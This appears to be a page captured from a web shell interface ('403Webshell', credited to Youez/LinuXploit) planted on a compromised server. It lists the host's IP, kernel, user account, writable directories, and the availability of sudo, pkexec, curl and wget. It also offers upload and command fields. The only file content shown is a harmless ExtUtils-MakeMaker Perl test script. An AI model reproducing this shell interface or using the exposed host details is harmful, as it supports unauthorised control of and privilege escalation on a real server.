403Webshell
Server IP : 45.40.142.9  /  Your IP : 216.73.216.151
Web Server : Apache
System : Linux s45-40-142-9.secureserver.net 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : bayspec ( 506)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /.cpanm/work/1494616241.5243/ExtUtils-MakeMaker-7.24/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /.cpanm/work/1494616241.5243/ExtUtils-MakeMaker-7.24/t//testlib.t
#!/usr/bin/perl -Tw

BEGIN {
    # ./lib is there so t/lib can be seen even after we chdir.
    unshift @INC, 't/lib', './lib';
}
chdir 't';

use Test::More tests => 5;

BEGIN {
    # non-core tests will have blib in their path.  We remove it
    # and just use the one in lib/.
    unless( $ENV{PERL_CORE} ) {
        @INC = grep !/blib/, @INC;
        unshift @INC, '../lib';
    }
}

my @blib_paths = grep /blib/, @INC;
is( @blib_paths, 0, 'No blib dirs yet in @INC' );

use_ok( 'ExtUtils::testlib' );

@blib_paths = grep { /blib/ } @INC;
is( @blib_paths, 2, 'ExtUtils::testlib added two @INC dirs!' );
ok( !(grep !File::Spec->file_name_is_absolute($_), @blib_paths),
                    '  and theyre absolute');

eval { eval "# @INC"; };
is( $@, '',     '@INC is not tainted' );

Youez - 2016 - github.com/yon3zu
LinuXploit